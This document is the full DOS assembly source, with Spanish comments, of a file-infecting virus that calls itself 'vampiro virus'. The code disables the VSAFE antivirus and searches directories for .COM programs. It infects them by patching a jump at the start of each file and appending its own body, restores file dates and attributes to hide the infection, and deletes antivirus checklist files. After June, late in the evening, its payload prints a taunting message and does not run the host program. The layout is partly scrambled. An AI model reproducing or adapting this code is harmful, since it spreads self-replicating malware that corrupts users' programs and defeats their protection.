.286c codigo segment 'code' org 100h assume cs:codigo,ds:codigo,es:codigo start proc far comienzo: push cs ;guardo cs push cs ;guardo cs pop ds ;ds<==cs pop es ;es<==cs call falso_proc falso_proc pop sub
falso_proc proc near endp bp bp, 107h
;llamo al proc. para que me ; quede en la pila la direccion ; del proc.
;bp<== direccion del proc. ;bp<== bp - dir. anterior.
;============================desinstalar el vsafe============================== mov dx, 5945h ;desinstalar vsafe. mov ax, 0fa01h int 21h ;=============================chequeo de playload============================== ;chequeo la fecha ------------------------------------------------------------mov ah, 2ah ;obtener fecha actual. int 21h ;devuelve en: cmp dh, 06d ;dh<== mes. jb intercambio ;si dh es menor que 6 (junio), ; no hago nada. ;<------ si llego aca, es porque es ; mayor que junio. ;chequeo la mov int cmp jb
jmp
hora -------------------------------------------------------------ah, 2ch ;obtener la hora actual. 21h ;devuelve en: ch, 22d ;ch<== hora. intercambio ;si ch es menor que 22hs, salto ; a intercambio. ;<------ si llego hasta aca, es porque ;cumple con las condiciones. playload ;voy al playload.
;================================intercambio=================================== intercambio: cld ;seteo el direction flag para ; que copie hacia delante mov cx, 7 ;cantidad de bytes. (7). lea si, [bp+buffer] ;si<== offset de buffer. lea di, [bp+buffer_act] ;di<== offset de buffer_act. rep movsb ;copia. ;ahora en buffer_act tengo ; el contenido de buffer. ;salvar el dta original ------------------------------------------------------mov cx, 43d ;cantidad de bytes a copiar.
lea mov rep
di, bp+dta_org si, 0080h movsb
;di<== offset del dta_org ;si<== offset comienzo del dta ;copia 43 bytes.
;============================programa de busqueda============================== ;guardar directorio original -------------------------------------------------mov ah, 47h ;obtener directorio actual. mov dl, 0 ;unidad por defecto. ;devuelve en ds:si el path ;sin unidad ni barra. lea si, bp+directorio_original+1 ;si<== offset directorio_org. int 21h ;buscar la primer entrada ----------------------------------------------------buscar: mov ah, 4eh ;buscar primer entrada. lea dx, bp+directorio ;ds:dx= direccion de directorio mov cx, 00010000b ;con atributo de directorio int 21h ;verificar si es un directorio -----------------------------------------------verificar: push 0095h ;pusheo el offset del dta ; de los atributos pop bx ;y lo guardo en bx mov al, [bx] ;le paso a al (nibble donde ; se encuentra el bit de ; directorio) el contenido de ; bx (bits de atributos). shr ax, 4 ;muevo a ax 4 bits a la derecha ; para poner en 0 a los mas ; significativos que el bit de ; directorio. shl ax, 7 ;muevo a ax 7 bits a la izq. ; para poner en 0 los menos ; significativos que directorio cmp ax, 10000000b ;comparo ax con 10000000, donde ; el 1 es el bit de directorio. jne dir ;verificar si el directorio es relativo ("." o "..") -------------------------lea mov
si, bp+actual di, 009eh
cmpsb je mov lea mov
dir cx, 0002h si, bp+retroceso di, 009eh
repe je
cmpsb dir
;si<== offset de actual ;di<== offset del dta donde ; esta el filename. ;comparo 1 byte. ;si coincidio, voy a dir. ;cx<== 1. comparo 2 bytes. ;si<== offset de retroceso ;di<== offset del dta donde ; esta el filename. ;repite mientras coinciden. ;si coincidieron, salto a dir.
;cambiar de directorio -------------------------------------------------------cambio: mov ah, 3bh ;cambiar de directorio. mov dx, 009eh ;ds:dx= offset del dta
int
21h
;salvar el dta actual --------------------------------------------------------mov cx, 43d ;cantidad de bytes a copiar. lea di, bp+dta ;di<== offset del dta_org mov si, 0080h ;si<== offset comienzo del dta rep movsb ;copia 43 bytes. ;buscar el primer file -------------------------------------------------------mov ah, 4eh ;buscasr 1er file. lea dx, bp+file_inf ;ds:dx= offset de file_inf mov cx, 0 ;atributos de la entrada. int 21h jc retro2 ;si encontro algun file, salta ; a file_a_infectar. ;<----- si llego hasta aca es porque ;no encontro ningun file. jmp file_a_infectar ;salto a retro. ;buscar el proximo file ------------------------------------------------------search: mov ah, 4fh ;busca el proximo file. int 21h jc retro2 ;si encontro algun file, salta jmp file_a_infectar ; a file_a_infectar. ;retroceder de directorio ----------------------------------------------------retro: mov ah, 3bh ;cambiar de directorio. lea dx, bp+retroceso ;dx<== offset de retroceso. int 21h jnc buscar jmp no_infectar ;retroceder de directorio ----------------------------------------------------retro2: mov ah, 3bh ;cambiar de directorio. lea dx, bp+retroceso ;dx<== offset de retroceso. int 21h jnc act_dta jmp no_infectar ;buscar el proximo directorio ------------------------------------------------dir: mov ah, 4fh ;buscar la proxima entrada. int 21h jnc verificar jmp retro ;actualizo dta ---------------------------------------------------------------act_dta: mov cx, 43d ;cantidad de bytes a copiar. lea si, bp+dta ;si<== offset de var. dta. mov di, 0080h ;di<== offset del comienzo dta. rep movsb ;copia 43 bytes. jmp dir ;========================fin de programa de busqueda===========================
;==============================infectar file=================================== file_a_infectar: ;comprobar que no sea el command.com -----------------------------------------mov cx, 12d ;son 12 bytes. mov si, 009eh ;si<== offset del filename dta. lea di, bp+command ;di<== offset command. repe cmpsb ;compara. jne continuar ;si hay error, salta continuar. jmp search ;si no, salta a search. ;verificar longitud ----------------------------------------------------------continuar: mov cx, 2 ;copiar 2 bytes. mov si, 009ah ;si<== offset del dta (long.). lea di, bp+longitud ;di<== offset de longitud. rep movsb ;copia. sub word ptr [bp+longitud], 3 ;resto 3 bytes a [longitud]. ;comprobar longitud que no sea mayor a 64000 bytes----------------------------cmp word ptr [bp+longitud], 64000d ;comparo longitud con 64000. jb c ;si long. es menor, salto a c. jmp search ;si no, salto a search. ;guardar atributos del file --------------------------------------------------c: mov ax, 4300h ;obtener atributos. mov dx, 009eh ;dx<== offset del filename dta. int 21h ;devuelve atribs. en cx. mov word ptr [bp+atributos],cx ;paso cx a atributos. ;setear atributos a r/w ------------------------------------------------------mov ax, 4301h ;setear atributos. mov cx, 0000h ;seteo atrib. a "normal" int 21h ;abrir file ------------------------------------------------------------------mov ah, 3dh ;abro file. mov al, 00000010b ;para lectura/escritura. mov dx, 009eh ;dx<== offset del dta(filename) int 21h ;el handle viene al ax. push ax ;lo guardo. ;leo los 7 primeros bytes ----------------------------------------------------pop bx ;paso el handle a bx. push bx ;y lo guardo. mov ah, 3fh ;leer file. mov cx, 0007h ;leer 7 bytes. lea dx, bp+buffer ;para guardarlo en el buffer. int 21h ;comprobar mz ----------------------------------------------------------------cmp word ptr [bp+buffer],'zm' ;comparo con zm. jne d jmp cerrar ;comprobar infeccion ----------------------------------------------------------
d: mov lea lea add repe jne
cx, 4d si, bp+string di, bp+buffer di, 3d cmpsb infectar
;son 4 bytes. ;comparar la var. string. ;con la var. buffer. ;salterar los 3 primeros bytes. ;realiza comparacion. ;te caga el file.
;cerrar file porque esta apestado --------------------------------------------cerrar: pop bx ;saco el handle. push bx ;y lo guardo. mov ah, 3eh ;cerrar file. int 21h ;restauro atributos del file original ----------------------------------------mov ax, 4301h ;restauro atributos originales. mov cx, word ptr [bp+atributos] ;cx<== atributos. mov dx, 009eh ;dx<== offset del filename dta. int 21h jmp search ;=============================infectar en si=================================== infectar: ;guardar fecha del file ------------------------------------------------------pop bx ;bx<== handle. push bx ;stack<== handle. mov ax, 5700h ;obtener fecha. ;devuelve en cx y dx. int 21h mov word ptr [bp+fecha],cx ;paso cx a fecha. mov word ptr [bp+fecha+2],dx ;paso dx a fecha+2. ;mover puntero al principio --------------------------------------------------mov ax, 4200h ;muevo el puntero de escritura ; al principio del prog. mov cx, 0000h mov dx, 0000h int 21h ;escrivo el primer byte(jmp) -------------------------------------------------mov ah, 40h ;escribir el 1er. byte. mov cx, 1d ;cantidad=1. lea dx, bp+jump ;dx<== offset de jump int 21h ;escrivo longitud mov ah, mov cx, lea dx, int 21h
o sea, completo el jmp -------------------------------------40h ;escribo. 2d ;cantidad de bytes. bp+longitud ;dx<== offset de longitud.
;escrivo los 4 del string ----------------------------------------------------mov ah, 40h ;escribo. mov cx, 4d ;cantidad. lea dx, bp+string ;dx<== offset de string. int 21h
;mover puntero al final ------------------------------------------------------mov ax, 4202h ;muevo el puntero de escritura ; al final del prog. mov cx, 0000h mov dx, 0000h int 21h add word ptr [bp+longitud],3 ;restauro longitud. ;copio el virus al programa --------------------------------------------------pop bx ;restauro el handle. mov ah, 40h ;servicio. mov cx, 1000d ;cantidad de bytes a copiar. ;realmente son 874 bytes, pero ; agregamos hasta 1000 de ; basura. lea dx, bp+comienzo ;copiar desde... int 21h ;restauro la fecha del file original -----------------------------------------mov ax, 5701h ;restauro fecha original. mov cx, word ptr [bp+fecha] ;paso fecha a cx. mov dx, word ptr [bp+fecha+2] ;paso fecha+2 a dx. int 21h ;cierro el file luego de haberlo infectado -----------------------------------mov ah, 3eh ;cerrar file. int 21h ;restauro atributos del file original ----------------------------------------mov ax, 4301h ;restauro atributos originales. mov cx, word ptr [bp+atributos] ;cx<== atributos. mov dx, 009eh ;dx<== offset del filename dta. int 21h ;===============================borrar checklists============================== ;setear atributos a r/w ------------------------------------------------------mov ax, 4301h ;setear atributos. mov cx, 0000h ;seteo atrib. a "normal" lea dx, bp+checklist ;dx<== offset de checklist. int 21h ;borrar directamente el checklist --------------------------------------------mov ah,41h ;servicio. int 21h ;=============================no infectar nada================================= no_infectar: ;========================volver al directorio original========================= ;volver al directorio original------------------------------------------------mov ah, 3bh ;cambiar de directorio. lea dx, bp+directorio_original ;dx<== offset de retroceso. int 21h ;actualizar todo el dta ------------------------------------------------------mov cx, 43d ;cantidad de bytes a copiar. lea si, bp+dta_org ;si<== offset de var. dta.
mov rep
di, 0080h movsb
;di<== offset del comienzo dta. ;copia 43 bytes.
;=======================devuelve el control al anfitrion======================= ;copiar el buffer con los 7 primeros byte del file a memoria -----------------mov cx, 0007h ;cantidad de bytes (7). mov di, 0100h ;di<== offset 100h. comienzo ; del prog. en memoria. lea si, bp+buffer_act ;si<== offset del buffer_act. rep movsb ;copia. ;saltar al offset 100h -------------------------------------------------------mov jmp
ax, 0100h ax
;direccion para ejecucion del ; anfitrion.
;=================================playload===================================== playload: mov ah, 09h ;imprimir cadena. lea dx, bp+mensaje ;dx<== offset de mensaje. int 21h ; mov int
ah, 4ch 21h
;terminar y no ejecutar el file ; una mierda.
start endp ;==============================area de datos=================================== buffer buffer_act db dta db dta_org longitud db fecha db atributos db directorio_original mensaje directorio actual retroceso file_inf checklist string jump command codigo end
ends start
db db db db db db
db 7d dup(0) 7d dup(0) 43d dup(0) db 43d dup(0) 2 dup(0) 4 dup(0) 2 dup(0) db '\',64 dup(0) db 'zarathustra & drako les comunican que llego la ' db 'hora de ir a dormir. shh! ' 'vampiro virus.$' '*.*',0 db '.',0 '..',0 '*.com',0 'chklist.ms',0 db '???',0 '?',0 db 'command.com',0